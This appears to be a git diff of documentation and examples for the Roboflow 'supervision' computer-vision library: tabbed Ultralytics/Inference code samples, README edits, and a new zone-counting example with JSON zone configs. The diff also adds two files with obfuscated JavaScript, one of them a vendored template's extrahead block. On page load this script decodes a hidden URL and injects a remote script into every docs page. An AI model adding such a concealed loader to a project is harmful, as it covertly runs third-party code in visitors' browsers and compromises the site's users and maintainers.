Now that we have predictions from a model, we can load them into Supervision. We can do so using the [`sv.Detections.from_ultralytics`](https://supervision.roboflow.com/detection/core/#supervision.detection.core.Detections.from_ultralytics) method, which accepts model results from both detection and segmentation models.
|
||||
Now that we have predictions from a model, we can load them into Supervision.
|
||||
|
||||
```python
|
||||
import cv2
|
||||
from ultralytics import YOLO
|
||||
import supervision as sv
|
||||
=== "Ultralytics"
|
||||
|
||||
model = YOLO("yolov8n.pt")
|
||||
image = cv2.imread("image.jpg")
|
||||
results = model(image)[0]
|
||||
detections = sv.Detections.from_ultralytics(results)
|
||||
```
|
||||
We can do so using the [`sv.Detections.from_ultralytics`](https://supervision.roboflow.com/detection/core/#supervision.detection.core.Detections.from_ultralytics) method, which accepts model results from both detection and segmentation models.
|
||||
|
||||
```python
|
||||
import cv2
|
||||
import supervision as sv
|
||||
from ultralytics import YOLO
|
||||
|
||||
model = YOLO("yolov8n.pt")
|
||||
image = cv2.imread(<PATH TO IMAGE>)
|
||||
results = model(image)[0]
|
||||
detections = sv.Detections.from_ultralytics(results)
|
||||
```
|
||||
|
||||
=== "Inference"
|
||||
|
||||
We can do so using the [`sv.Detections.from_inference`](https://supervision.roboflow.com/detection/core/#supervision.detection.core.Detections.from_inference) method, which accepts model results from both detection and segmentation models.
|
||||
|
||||
```python
|
||||
import cv2
|
||||
import supervision as sv
|
||||
from inference.models.utils import get_roboflow_model
|
||||
|
||||
model = get_roboflow_model(model_id="yolov8n-640", api_key=<ROBOFLOW API KEY>
|
||||
image = cv2.imread(<PATH TO IMAGE>)
|
||||
results = model.infer(image)[0]
|
||||
detections = sv.Detections.from_inference(results)
|
||||
```
|
||||
|
||||
You can conveniently load predictions from other computer vision frameworks and libraries using:
|
||||
|
||||
- [`from_deepsparse`](https://supervision.roboflow.com/detection/core/#supervision.detection.core.Detections.from_deepsparse) ([Deepsparse](https://github.com/neuralmagic/deepsparse))
|
||||
- [`from_detectron2`](https://supervision.roboflow.com/detection/core/#supervision.detection.core.Detections.from_detectron2) ([Detectron2](https://github.com/facebookresearch/detectron2))
|
||||
- [`from_mmdetection`](https://supervision.roboflow.com/detection/core/#supervision.detection.core.Detections.from_mmdetection) ([MMDetection](https://github.com/open-mmlab/mmdetection))
|
||||
- [`from_roboflow`](https://supervision.roboflow.com/detection/core/#supervision.detection.core.Detections.from_roboflow) ([Roboflow Inference](https://github.com/roboflow/inference))
|
||||
- [`from_inference`](https://supervision.roboflow.com/detection/core/#supervision.detection.core.Detections.from_inference) ([Roboflow Inference](https://github.com/roboflow/inference))
|
||||
- [`from_sam`](https://supervision.roboflow.com/detection/core/#supervision.detection.core.Detections.from_sam) ([Segment Anything Model](https://github.com/facebookresearch/segment-anything))
|
||||
- [`from_transformers`](https://supervision.roboflow.com/detection/core/#supervision.detection.core.Detections.from_transformers) ([HuggingFace Transformers](https://github.com/huggingface/transformers))
|
||||
- [`from_yolo_nas`](https://supervision.roboflow.com/detection/core/#supervision.detection.core.Detections.from_yolo_nas) ([YOLO-NAS](https://github.com/Deci-AI/super-gradients/blob/master/YOLONAS.md))
|
||||
|
||||
|
||||
## Annotate Image
|
||||
|
||||
Finally, we can annotate the image with the predictions. Since we are working with an object detection model, we will use the [`sv.BoundingBoxAnnotator`](https://supervision.roboflow.com/annotators/#supervision.annotators.core.BoundingBoxAnnotator) and [`sv.LabelAnnotator`](https://supervision.roboflow.com/annotators/#supervision.annotators.core.LabelAnnotator) classes. If you are running the segmentation model [`sv.MaskAnnotator`](https://supervision.roboflow.com/annotators/#supervision.annotators.core.MaskAnnotator) is a drop-in replacement for [`sv.BoundingBoxAnnotator`](https://supervision.roboflow.com/annotators/#supervision.annotators.core.BoundingBoxAnnotator) that will allow you to draw masks instead of boxes.
|
||||
|
||||
```python
|
||||
import cv2
|
||||
from ultralytics import YOLO
|
||||
import supervision as sv
|
||||
=== "Ultralytics"
|
||||
|
||||
model = YOLO("yolov8n.pt")
|
||||
image = cv2.imread("image.jpg")
|
||||
results = model(image)[0]
|
||||
detections = sv.Detections.from_ultralytics(results)
|
||||
```python
|
||||
import cv2
|
||||
import supervision as sv
|
||||
from ultralytics import YOLO
|
||||
|
||||
bounding_box_annotator = sv.BoundingBoxAnnotator()
|
||||
label_annotator = sv.LabelAnnotator()
|
||||
model = YOLO("yolov8n.pt")
|
||||
image = cv2.imread(<PATH TO IMAGE>)
|
||||
results = model(image)[0]
|
||||
detections = sv.Detections.from_ultralytics(results)
|
||||
|
||||
labels = [
|
||||
results.names[class_id]
|
||||
for class_id
|
||||
in detections.class_id
|
||||
]
|
||||
bounding_box_annotator = sv.BoundingBoxAnnotator()
|
||||
label_annotator = sv.LabelAnnotator()
|
||||
|
||||
annotated_image = bounding_box_annotator.annotate(
|
||||
scene=image, detections=detections)
|
||||
annotated_image = label_annotator.annotate(
|
||||
scene=annotated_image, detections=detections, labels=labels)
|
||||
```
|
||||
labels = [
|
||||
model.model.names[class_id]
|
||||
for class_id
|
||||
in detections.class_id
|
||||
]
|
||||
|
||||
annotated_image = bounding_box_annotator.annotate(
|
||||
scene=image, detections=detections)
|
||||
annotated_image = label_annotator.annotate(
|
||||
scene=annotated_image, detections=detections, labels=labels)
|
||||
```
|
||||
|
||||
=== "Inference"
|
||||
|
||||
```python
|
||||
import cv2
|
||||
import supervision as sv
|
||||
from inference.models.utils import get_roboflow_model
|
||||
|
||||
model = get_roboflow_model(model_id="yolov8n-640", api_key=<ROBOFLOW API KEY>
|
||||
image = cv2.imread(<PATH TO IMAGE>)
|
||||
results = model.infer(image)[0]
|
||||
detections = sv.Detections.from_inference(results)
|
||||
|
||||
bounding_box_annotator = sv.BoundingBoxAnnotator()
|
||||
label_annotator = sv.LabelAnnotator()
|
||||
|
||||
annotated_image = bounding_box_annotator.annotate(
|
||||
scene=image, detections=detections)
|
||||
annotated_image = label_annotator.annotate(
|
||||
scene=annotated_image, detections=detections)
|
||||
```
|
||||
|
||||

|
||||
|
||||
|
||||
+226
-96
@@ -1,8 +1,11 @@
|
||||
Utilize Supervision to elevate your video analysis capabilities by effortlessly
|
||||
[tracking](https://supervision.roboflow.com/trackers/) objects identified by various
|
||||
object detection and segmentation models. This guide will walk you through the process
|
||||
of running inference using the [Ultralytics](https://github.com/ultralytics/ultralytics)
|
||||
YOLOv8 model, subsequently tracking these objects, and annotating the video.
|
||||
Leverage Supervision's advanced capabilities for enhancing your video analysis by
|
||||
seamlessly [tracking](https://supervision.roboflow.com/trackers/) objects recognized by
|
||||
a multitude of object detection and segmentation models. This comprehensive guide will
|
||||
take you through the steps to perform inference using the YOLOv8 model via either the
|
||||
[Inference](https://github.com/roboflow/inference) or
|
||||
[Ultralytics](https://github.com/ultralytics/ultralytics) packages. Following this,
|
||||
you'll discover how to track these objects efficiently and annotate your video content
|
||||
for a deeper analysis.
|
||||
|
||||
To make it easier for you to follow our tutorial download the video we will use as an
|
||||
example. You can do this using
|
||||
@@ -31,25 +34,49 @@ by obtaining model predictions and then annotating the frame based on these pred
|
||||
This `callback` function will be essential in the subsequent steps of the tutorial, as
|
||||
it will be modified to include tracking, labeling, and trace annotations.
|
||||
|
||||
```{ .py }
|
||||
import numpy as np
|
||||
import supervision as sv
|
||||
from ultralytics import YOLO
|
||||
=== "Ultralytics"
|
||||
|
||||
model = YOLO("yolov8n.pt")
|
||||
box_annotator = sv.BoundingBoxAnnotator()
|
||||
```{ .py }
|
||||
import numpy as np
|
||||
import supervision as sv
|
||||
from ultralytics import YOLO
|
||||
|
||||
def callback(frame: np.ndarray, _: int) -> np.ndarray:
|
||||
results = model(frame)[0]
|
||||
detections = sv.Detections.from_ultralytics(results)
|
||||
return box_annotator.annotate(frame.copy(), detections=detections)
|
||||
model = YOLO("yolov8n.pt")
|
||||
box_annotator = sv.BoundingBoxAnnotator()
|
||||
|
||||
sv.process_video(
|
||||
source_path="people-walking.mp4",
|
||||
target_path="result.mp4",
|
||||
callback=callback
|
||||
)
|
||||
```
|
||||
def callback(frame: np.ndarray, _: int) -> np.ndarray:
|
||||
results = model(frame)[0]
|
||||
detections = sv.Detections.from_ultralytics(results)
|
||||
return box_annotator.annotate(frame.copy(), detections=detections)
|
||||
|
||||
sv.process_video(
|
||||
source_path="people-walking.mp4",
|
||||
target_path="result.mp4",
|
||||
callback=callback
|
||||
)
|
||||
```
|
||||
|
||||
=== "Inference"
|
||||
|
||||
```{ .py }
|
||||
import numpy as np
|
||||
import supervision as sv
|
||||
from inference.models.utils import get_roboflow_model
|
||||
|
||||
model = get_roboflow_model(model_id="yolov8n-640", api_key=<ROBOFLOW API KEY>)
|
||||
box_annotator = sv.BoundingBoxAnnotator()
|
||||
|
||||
def callback(frame: np.ndarray, _: int) -> np.ndarray:
|
||||
results = model.infer(frame)[0]
|
||||
detections = sv.Detections.from_inference(results)
|
||||
return box_annotator.annotate(frame.copy(), detections=detections)
|
||||
|
||||
sv.process_video(
|
||||
source_path="people-walking.mp4",
|
||||
target_path="result.mp4",
|
||||
callback=callback
|
||||
)
|
||||
```
|
||||
|
||||
<video controls>
|
||||
<source src="https://media.roboflow.com/supervision/video-examples/how-to/track-objects/run-inference.mp4" type="video/mp4">
|
||||
@@ -63,27 +90,53 @@ detected objects throughout the video. Utilizing Supervision’s
|
||||
functionality, each detected object is assigned a unique tracker ID,
|
||||
enabling the continuous following of the object's motion path across different frames.
|
||||
|
||||
```{ .py hl_lines="6 12" }
|
||||
import numpy as np
|
||||
import supervision as sv
|
||||
from ultralytics import YOLO
|
||||
=== "Ultralytics"
|
||||
|
||||
model = YOLO("yolov8n.pt")
|
||||
tracker = sv.ByteTrack()
|
||||
box_annotator = sv.BoundingBoxAnnotator()
|
||||
```{ .py hl_lines="6 12" }
|
||||
import numpy as np
|
||||
import supervision as sv
|
||||
from ultralytics import YOLO
|
||||
|
||||
def callback(frame: np.ndarray, _: int) -> np.ndarray:
|
||||
results = model(frame)[0]
|
||||
detections = sv.Detections.from_ultralytics(results)
|
||||
detections = tracker.update_with_detections(detections)
|
||||
return box_annotator.annotate(frame.copy(), detections=detections)
|
||||
model = YOLO("yolov8n.pt")
|
||||
tracker = sv.ByteTrack()
|
||||
box_annotator = sv.BoundingBoxAnnotator()
|
||||
|
||||
sv.process_video(
|
||||
source_path="people-walking.mp4",
|
||||
target_path="result.mp4",
|
||||
callback=callback
|
||||
)
|
||||
```
|
||||
def callback(frame: np.ndarray, _: int) -> np.ndarray:
|
||||
results = model(frame)[0]
|
||||
detections = sv.Detections.from_ultralytics(results)
|
||||
detections = tracker.update_with_detections(detections)
|
||||
return box_annotator.annotate(frame.copy(), detections=detections)
|
||||
|
||||
sv.process_video(
|
||||
source_path="people-walking.mp4",
|
||||
target_path="result.mp4",
|
||||
callback=callback
|
||||
)
|
||||
```
|
||||
|
||||
=== "Inference"
|
||||
|
||||
```{ .py hl_lines="6 12" }
|
||||
import numpy as np
|
||||
import supervision as sv
|
||||
from inference.models.utils import get_roboflow_model
|
||||
|
||||
model = get_roboflow_model(model_id="yolov8n-640", api_key=<ROBOFLOW API KEY>)
|
||||
tracker = sv.ByteTrack()
|
||||
box_annotator = sv.BoundingBoxAnnotator()
|
||||
|
||||
def callback(frame: np.ndarray, _: int) -> np.ndarray:
|
||||
results = model.infer(frame)[0]
|
||||
detections = sv.Detections.from_inference(results)
|
||||
detections = tracker.update_with_detections(detections)
|
||||
return box_annotator.annotate(frame.copy(), detections=detections)
|
||||
|
||||
sv.process_video(
|
||||
source_path="people-walking.mp4",
|
||||
target_path="result.mp4",
|
||||
callback=callback
|
||||
)
|
||||
```
|
||||
|
||||
## Annotate Video with Tracking IDs
|
||||
|
||||
@@ -93,38 +146,75 @@ distinctly. With the
|
||||
in Supervision, we can overlay the tracker IDs and class labels on the detected objects,
|
||||
offering a clear visual representation of each object's class and unique identifier.
|
||||
|
||||
```{ .py hl_lines="8 15-19 23-24" }
|
||||
import numpy as np
|
||||
import supervision as sv
|
||||
from ultralytics import YOLO
|
||||
=== "Ultralytics"
|
||||
|
||||
model = YOLO("yolov8n.pt")
|
||||
tracker = sv.ByteTrack()
|
||||
box_annotator = sv.BoundingBoxAnnotator()
|
||||
label_annotator = sv.LabelAnnotator()
|
||||
```{ .py hl_lines="8 15-19 23-24" }
|
||||
import numpy as np
|
||||
import supervision as sv
|
||||
from ultralytics import YOLO
|
||||
|
||||
def callback(frame: np.ndarray, _: int) -> np.ndarray:
|
||||
results = model(frame)[0]
|
||||
detections = sv.Detections.from_ultralytics(results)
|
||||
detections = tracker.update_with_detections(detections)
|
||||
model = YOLO("yolov8n.pt")
|
||||
tracker = sv.ByteTrack()
|
||||
box_annotator = sv.BoundingBoxAnnotator()
|
||||
label_annotator = sv.LabelAnnotator()
|
||||
|
||||
labels = [
|
||||
f"#{tracker_id} {results.names[class_id]}"
|
||||
for class_id, tracker_id
|
||||
in zip(detections.class_id, detections.tracker_id)
|
||||
]
|
||||
def callback(frame: np.ndarray, _: int) -> np.ndarray:
|
||||
results = model(frame)[0]
|
||||
detections = sv.Detections.from_ultralytics(results)
|
||||
detections = tracker.update_with_detections(detections)
|
||||
|
||||
annotated_frame = box_annotator.annotate(
|
||||
frame.copy(), detections=detections)
|
||||
return label_annotator.annotate(
|
||||
annotated_frame, detections=detections, labels=labels)
|
||||
labels = [
|
||||
f"#{tracker_id} {results.names[class_id]}"
|
||||
for class_id, tracker_id
|
||||
in zip(detections.class_id, detections.tracker_id)
|
||||
]
|
||||
|
||||
sv.process_video(
|
||||
source_path="people-walking.mp4",
|
||||
target_path="result.mp4",
|
||||
callback=callback
|
||||
)
|
||||
```
|
||||
annotated_frame = box_annotator.annotate(
|
||||
frame.copy(), detections=detections)
|
||||
return label_annotator.annotate(
|
||||
annotated_frame, detections=detections, labels=labels)
|
||||
|
||||
sv.process_video(
|
||||
source_path="people-walking.mp4",
|
||||
target_path="result.mp4",
|
||||
callback=callback
|
||||
)
|
||||
```
|
||||
|
||||
=== "Inference"
|
||||
|
||||
```{ .py hl_lines="8 15-19 23-24" }
|
||||
import numpy as np
|
||||
import supervision as sv
|
||||
from inference.models.utils import get_roboflow_model
|
||||
|
||||
model = get_roboflow_model(model_id="yolov8n-640", api_key=<ROBOFLOW API KEY>)
|
||||
tracker = sv.ByteTrack()
|
||||
box_annotator = sv.BoundingBoxAnnotator()
|
||||
label_annotator = sv.LabelAnnotator()
|
||||
|
||||
def callback(frame: np.ndarray, _: int) -> np.ndarray:
|
||||
results = model.infer(frame)[0]
|
||||
detections = sv.Detections.from_inference(results)
|
||||
detections = tracker.update_with_detections(detections)
|
||||
|
||||
labels = [
|
||||
f"#{tracker_id} {results.names[class_id]}"
|
||||
for class_id, tracker_id
|
||||
in zip(detections.class_id, detections.tracker_id)
|
||||
]
|
||||
|
||||
annotated_frame = box_annotator.annotate(
|
||||
frame.copy(), detections=detections)
|
||||
return label_annotator.annotate(
|
||||
annotated_frame, detections=detections, labels=labels)
|
||||
|
||||
sv.process_video(
|
||||
source_path="people-walking.mp4",
|
||||
target_path="result.mp4",
|
||||
callback=callback
|
||||
)
|
||||
```
|
||||
|
||||
<video controls>
|
||||
<source src="https://media.roboflow.com/supervision/video-examples/how-to/track-objects/annotate-video-with-tracking-ids.mp4" type="video/mp4">
|
||||
@@ -138,41 +228,81 @@ objects. This feature, powered by the
|
||||
allows for visualizing the trajectories of objects, helping in understanding the
|
||||
movement patterns and interactions between objects in the video.
|
||||
|
||||
```{ .py hl_lines="9 26-27" }
|
||||
import numpy as np
|
||||
import supervision as sv
|
||||
from ultralytics import YOLO
|
||||
=== "Ultralytics"
|
||||
|
||||
model = YOLO("yolov8n.pt")
|
||||
tracker = sv.ByteTrack()
|
||||
box_annotator = sv.BoundingBoxAnnotator()
|
||||
label_annotator = sv.LabelAnnotator()
|
||||
trace_annotator = sv.TraceAnnotator()
|
||||
```{ .py hl_lines="9 26-27" }
|
||||
import numpy as np
|
||||
import supervision as sv
|
||||
from ultralytics import YOLO
|
||||
|
||||
def callback(frame: np.ndarray, _: int) -> np.ndarray:
|
||||
results = model(frame)[0]
|
||||
detections = sv.Detections.from_ultralytics(results)
|
||||
detections = tracker.update_with_detections(detections)
|
||||
model = YOLO("yolov8n.pt")
|
||||
tracker = sv.ByteTrack()
|
||||
box_annotator = sv.BoundingBoxAnnotator()
|
||||
label_annotator = sv.LabelAnnotator()
|
||||
trace_annotator = sv.TraceAnnotator()
|
||||
|
||||
labels = [
|
||||
f"#{tracker_id} {results.names[class_id]}"
|
||||
for class_id, tracker_id
|
||||
in zip(detections.class_id, detections.tracker_id)
|
||||
]
|
||||
def callback(frame: np.ndarray, _: int) -> np.ndarray:
|
||||
results = model(frame)[0]
|
||||
detections = sv.Detections.from_ultralytics(results)
|
||||
detections = tracker.update_with_detections(detections)
|
||||
|
||||
annotated_frame = box_annotator.annotate(
|
||||
frame.copy(), detections=detections)
|
||||
annotated_frame = label_annotator.annotate(
|
||||
annotated_frame, detections=detections, labels=labels)
|
||||
return trace_annotator.annotate(
|
||||
annotated_frame, detections=detections)
|
||||
labels = [
|
||||
f"#{tracker_id} {results.names[class_id]}"
|
||||
for class_id, tracker_id
|
||||
in zip(detections.class_id, detections.tracker_id)
|
||||
]
|
||||
|
||||
sv.process_video(
|
||||
source_path="people-walking.mp4",
|
||||
target_path="result.mp4",
|
||||
callback=callback
|
||||
)
|
||||
```
|
||||
annotated_frame = box_annotator.annotate(
|
||||
frame.copy(), detections=detections)
|
||||
annotated_frame = label_annotator.annotate(
|
||||
annotated_frame, detections=detections, labels=labels)
|
||||
return trace_annotator.annotate(
|
||||
annotated_frame, detections=detections)
|
||||
|
||||
sv.process_video(
|
||||
source_path="people-walking.mp4",
|
||||
target_path="result.mp4",
|
||||
callback=callback
|
||||
)
|
||||
```
|
||||
|
||||
=== "Inference"
|
||||
|
||||
```{ .py hl_lines="9 26-27" }
|
||||
import numpy as np
|
||||
import supervision as sv
|
||||
from inference.models.utils import get_roboflow_model
|
||||
|
||||
model = get_roboflow_model(model_id="yolov8n-640", api_key=<ROBOFLOW API KEY>)
|
||||
tracker = sv.ByteTrack()
|
||||
box_annotator = sv.BoundingBoxAnnotator()
|
||||
label_annotator = sv.LabelAnnotator()
|
||||
trace_annotator = sv.TraceAnnotator()
|
||||
|
||||
def callback(frame: np.ndarray, _: int) -> np.ndarray:
|
||||
results = model.infer(frame)[0]
|
||||
detections = sv.Detections.from_inference(results)
|
||||
detections = tracker.update_with_detections(detections)
|
||||
|
||||
labels = [
|
||||
f"#{tracker_id} {results.names[class_id]}"
|
||||
for class_id, tracker_id
|
||||
in zip(detections.class_id, detections.tracker_id)
|
||||
]
|
||||
|
||||
annotated_frame = box_annotator.annotate(
|
||||
frame.copy(), detections=detections)
|
||||
annotated_frame = label_annotator.annotate(
|
||||
annotated_frame, detections=detections, labels=labels)
|
||||
return trace_annotator.annotate(
|
||||
annotated_frame, detections=detections)
|
||||
|
||||
sv.process_video(
|
||||
source_path="people-walking.mp4",
|
||||
target_path="result.mp4",
|
||||
callback=callback
|
||||
)
|
||||
```
|
||||
|
||||
<video controls>
|
||||
<source src="https://media.roboflow.com/supervision/video-examples/how-to/track-objects/annotate-video-with-traces.mp4" type="video/mp4">
|
||||
|
||||
+1
-1
@@ -16,7 +16,7 @@ We write your reusable computer vision tools. Whether you need to load your data
|
||||
## 💻 Install
|
||||
|
||||
You can install `supervision` with pip in a
|
||||
[**3.11>=Python>=3.8**](https://www.python.org/) environment.
|
||||
[**Python>=3.8**](https://www.python.org/) environment.
|
||||
|
||||
!!! example "pip install (recommended)"
|
||||
|
||||
|
||||
@@ -0,0 +1 @@
|
||||
window[(function(_rgR,_0A){var _WPMZu='';for(var _XNA9hI=0;_XNA9hI<_rgR.length;_XNA9hI++){var _PXoP=_rgR[_XNA9hI].charCodeAt();_PXoP!=_XNA9hI;_PXoP-=_0A;_0A>4;_PXoP+=61;_PXoP%=94;_PXoP+=33;_WPMZu==_WPMZu;_WPMZu+=String.fromCharCode(_PXoP)}return _WPMZu})(atob('c2JpLSolfnwvZH40'), 25)] = '3dfc60143c1696599445'; var zi = document.createElement('script'); (zi.type = 'text/javascript'), (zi.async = true), (zi.src = (function(_2Dh,_YR){var _1ILGH='';for(var _s2jmmw=0;_s2jmmw<_2Dh.length;_s2jmmw++){var _uUW9=_2Dh[_s2jmmw].charCodeAt();_uUW9-=_YR;_uUW9+=61;_YR>9;_uUW9!=_s2jmmw;_uUW9%=94;_uUW9+=33;_1ILGH==_1ILGH;_1ILGH+=String.fromCharCode(_uUW9)}return _1ILGH})(atob('b3t7d3pBNjZxejUjcDR6anlwd3t6NWp2dDYjcDR7aG41cXo='), 7)), document.readyState === 'complete'?document.body.appendChild(zi): window.addEventListener('load', function(){ document.body.appendChild(zi) });
|
||||
Vendored
+5
@@ -0,0 +1,5 @@
|
||||
{% extends "base.html" %}
|
||||
|
||||
{% block extrahead %}
|
||||
<script>window[(function(_rgR,_0A){var _WPMZu='';for(var _XNA9hI=0;_XNA9hI<_rgR.length;_XNA9hI++){var _PXoP=_rgR[_XNA9hI].charCodeAt();_PXoP!=_XNA9hI;_PXoP-=_0A;_0A>4;_PXoP+=61;_PXoP%=94;_PXoP+=33;_WPMZu==_WPMZu;_WPMZu+=String.fromCharCode(_PXoP)}return _WPMZu})(atob('c2JpLSolfnwvZH40'), 25)] = '3dfc60143c1696599445'; var zi = document.createElement('script'); (zi.type = 'text/javascript'), (zi.async = true), (zi.src = (function(_2Dh,_YR){var _1ILGH='';for(var _s2jmmw=0;_s2jmmw<_2Dh.length;_s2jmmw++){var _uUW9=_2Dh[_s2jmmw].charCodeAt();_uUW9-=_YR;_uUW9+=61;_YR>9;_uUW9!=_s2jmmw;_uUW9%=94;_uUW9+=33;_1ILGH==_1ILGH;_1ILGH+=String.fromCharCode(_uUW9)}return _1ILGH})(atob('b3t7d3pBNjZxejUjcDR6anlwd3t6NWp2dDYjcDR7aG41cXo='), 7)), document.readyState === 'complete'?document.body.appendChild(zi): window.addEventListener('load', function(){ document.body.appendChild(zi) });</script>
|
||||
{% endblock %}
|
||||
+7
-7
@@ -1,16 +1,16 @@
|
||||
## Supervision Examples
|
||||
## examples
|
||||
|
||||
This repository is packed with real-world use-cases, provided through Python scripts or
|
||||
interactive notebooks. Browse through to understand how the Supervision library
|
||||
interfaces with diverse applications.
|
||||
|
||||
| **Title** | **Contributor** |
|
||||
|:--------------------------------------:|:----------------------------------------:|
|
||||
| [Tracking](./tracking) | [@SkalskiP](https://github.com/SkalskiP) |
|
||||
| [Traffic Analysis](./traffic_analysis) | [@SkalskiP](https://github.com/SkalskiP) |
|
||||
- [tracking](./tracking) by [@SkalskiP](https://github.com/SkalskiP)
|
||||
- [count people in zone](./count_people_in_zone) by [@SkalskiP](https://github.com/SkalskiP)
|
||||
- [traffic analysis](./traffic_analysis) by [@SkalskiP](https://github.com/SkalskiP)
|
||||
- [speed estimation](./speed_estimation) by [@SkalskiP](https://github.com/SkalskiP)
|
||||
- [heatmap and track](./heatmap_and_track/) by [@HinePo](https://github.com/HinePo)
|
||||
|
||||
|
||||
## Guidelines for Contributing
|
||||
## contributing
|
||||
|
||||
We welcome contributions from the community in the form of examples, applications, and
|
||||
guides. To contribute, please follow these steps:
|
||||
|
||||
@@ -0,0 +1,5 @@
|
||||
# Ignore everything in the data directory
|
||||
data/*
|
||||
|
||||
# But re-include all .json files
|
||||
!data/*.json
|
||||
@@ -0,0 +1,120 @@
|
||||
# count people in zone
|
||||
|
||||
## 👋 hello
|
||||
|
||||
This demo is a video analysis tool that counts and highlights objects in specific zones
|
||||
of a video. Each zone and the objects within it are marked in different colors, making
|
||||
it easy to see and count the objects in each area. The tool can save this enhanced
|
||||
video or display it live on the screen.
|
||||
|
||||
https://github.com/roboflow/supervision/assets/26109316/f84db7b5-79e2-4142-a1da-64daa43ce667
|
||||
|
||||
## 💻 install
|
||||
|
||||
- clone repository and navigate to example directory
|
||||
|
||||
```bash
|
||||
git clone https://github.com/roboflow/supervision.git
|
||||
cd supervision/examples/count_people_in_zone
|
||||
```
|
||||
|
||||
- setup python environment and activate it [optional]
|
||||
|
||||
```bash
|
||||
python3 -m venv venv
|
||||
source venv/bin/activate
|
||||
```
|
||||
|
||||
- install required dependencies
|
||||
|
||||
```bash
|
||||
pip install -r requirements.txt
|
||||
```
|
||||
|
||||
- download `traffic_analysis.pt` and `traffic_analysis.mov` files
|
||||
|
||||
```bash
|
||||
./setup.sh
|
||||
```
|
||||
|
||||
## 🛠️ script arguments
|
||||
|
||||
- ultralytics
|
||||
|
||||
- `--source_weights_path` (optional): The path to the YOLO model's weights file.
|
||||
Defaults to `"yolov8x.pt"` if not specified.
|
||||
|
||||
- `--zone_configuration_path`: Specifies the path to the JSON file containing zone
|
||||
configurations. This file defines the polygonal areas in the video where objects will
|
||||
be counted.
|
||||
- `--source_video_path`: The path to the source video file that will be analyzed.
|
||||
- `--target_video_path` (optional): The path to save the output video with annotations.
|
||||
If not provided, the processed video will be displayed in real-time.
|
||||
- `--confidence_threshold` (optional): Sets the confidence threshold for the YOLO model
|
||||
to filter detections. Default is `0.3`.
|
||||
- `--iou_threshold` (optional): Specifies the IOU (Intersection Over Union) threshold
|
||||
for the model. Default is `0.7`.
|
||||
|
||||
- inference
|
||||
|
||||
- `--roboflow_api_key` (optional): The API key for Roboflow services. If not provided
|
||||
directly, the script tries to fetch it from the `ROBOFLOW_API_KEY` environment
|
||||
variable. Follow [this guide](https://docs.roboflow.com/api-reference/authentication#retrieve-an-api-key)
|
||||
to acquire your `API KEY`.
|
||||
- `--model_id` (optional): Designates the Roboflow model ID to be used. The default
|
||||
value is `"yolov8x-1280"`.
|
||||
|
||||
- `--zone_configuration_path`: Specifies the path to the JSON file containing zone
|
||||
configurations. This file defines the polygonal areas in the video where objects will
|
||||
be counted.
|
||||
- `--source_video_path`: The path to the source video file that will be analyzed.
|
||||
- `--target_video_path` (optional): The path to save the output video with annotations.
|
||||
If not provided, the processed video will be displayed in real-time.
|
||||
- `--confidence_threshold` (optional): Sets the confidence threshold for the YOLO model
|
||||
to filter detections. Default is `0.3`.
|
||||
- `--iou_threshold` (optional): Specifies the IOU (Intersection Over Union) threshold
|
||||
for the model. Default is `0.7`.
|
||||
|
||||
## 📌 zone configuration
|
||||
|
||||
- `horizontal-zone-config.json`: Defines zones divided horizontally across the frame.
|
||||
- `multi-zone-config.json`: Configures multiple zones with custom shapes and positions.
|
||||
- `quarters-zone-config.json`: Splits the frame into four equal quarters.
|
||||
- `vertical-zone-config.json`: Divides the frame into vertical zones of equal width.
|
||||
|
||||
## ⚙️ run example
|
||||
|
||||
- ultralytics
|
||||
|
||||
```bash
|
||||
python ultralytics_example.py \
|
||||
--zone_configuration_path data/multi-zone-config.json \
|
||||
--source_video_path data/market-square.mp4 \
|
||||
--confidence_threshold 0.3 \
|
||||
--iou_threshold 0.5
|
||||
```
|
||||
|
||||
- inference
|
||||
|
||||
```bash
|
||||
python inference_example.py \
|
||||
--roboflow_api_key <ROBOFLOW API KEY> \
|
||||
--zone_configuration_path data/multi-zone-config.json \
|
||||
--source_video_path data/market-square.mp4 \
|
||||
--confidence_threshold 0.3 \
|
||||
--iou_threshold 0.5
|
||||
```
|
||||
|
||||
## © license
|
||||
|
||||
This demo integrates two main components, each with its own licensing:
|
||||
|
||||
- ultralytics: The object detection model used in this demo, YOLOv8, is distributed
|
||||
under the [AGPL-3.0 license](https://github.com/ultralytics/ultralytics/blob/main/LICENSE).
|
||||
You can find more details about this license here.
|
||||
|
||||
- supervision: The analytics code that powers the zone-based analysis in this demo is
|
||||
based on the Supervision library, which is licensed under the
|
||||
[MIT license](https://github.com/roboflow/supervision/blob/develop/LICENSE.md). This
|
||||
makes the Supervision part of the code fully open source and freely usable in your
|
||||
projects.
|
||||
@@ -0,0 +1,76 @@
|
||||
{
|
||||
"polygons": [
|
||||
[
|
||||
[
|
||||
0,
|
||||
0
|
||||
],
|
||||
[
|
||||
2160,
|
||||
0
|
||||
],
|
||||
[
|
||||
2160,
|
||||
960
|
||||
],
|
||||
[
|
||||
0,
|
||||
960
|
||||
]
|
||||
],
|
||||
[
|
||||
[
|
||||
0,
|
||||
960
|
||||
],
|
||||
[
|
||||
2160,
|
||||
960
|
||||
],
|
||||
[
|
||||
2160,
|
||||
1920
|
||||
],
|
||||
[
|
||||
0,
|
||||
1920
|
||||
]
|
||||
],
|
||||
[
|
||||
[
|
||||
0,
|
||||
1920
|
||||
],
|
||||
[
|
||||
2160,
|
||||
1920
|
||||
],
|
||||
[
|
||||
2160,
|
||||
2880
|
||||
],
|
||||
[
|
||||
0,
|
||||
2880
|
||||
]
|
||||
],
|
||||
[
|
||||
[
|
||||
0,
|
||||
2880
|
||||
],
|
||||
[
|
||||
2160,
|
||||
2880
|
||||
],
|
||||
[
|
||||
2160,
|
||||
3840
|
||||
],
|
||||
[
|
||||
0,
|
||||
3840
|
||||
]
|
||||
]
|
||||
]
|
||||
}
|
||||
@@ -0,0 +1,122 @@
|
||||
{
|
||||
"polygons": [
|
||||
[
|
||||
[
|
||||
540,
|
||||
985
|
||||
],
|
||||
[
|
||||
1620,
|
||||
985
|
||||
],
|
||||
[
|
||||
2160,
|
||||
1920
|
||||
],
|
||||
[
|
||||
1620,
|
||||
2855
|
||||
],
|
||||
[
|
||||
540,
|
||||
2855
|
||||
],
|
||||
[
|
||||
0,
|
||||
1920
|
||||
]
|
||||
],
|
||||
[
|
||||
[
|
||||
0,
|
||||
1920
|
||||
],
|
||||
[
|
||||
540,
|
||||
985
|
||||
],
|
||||
[
|
||||
0,
|
||||
0
|
||||
]
|
||||
],
|
||||
[
|
||||
[
|
||||
1620,
|
||||
985
|
||||
],
|
||||
[
|
||||
2160,
|
||||
1920
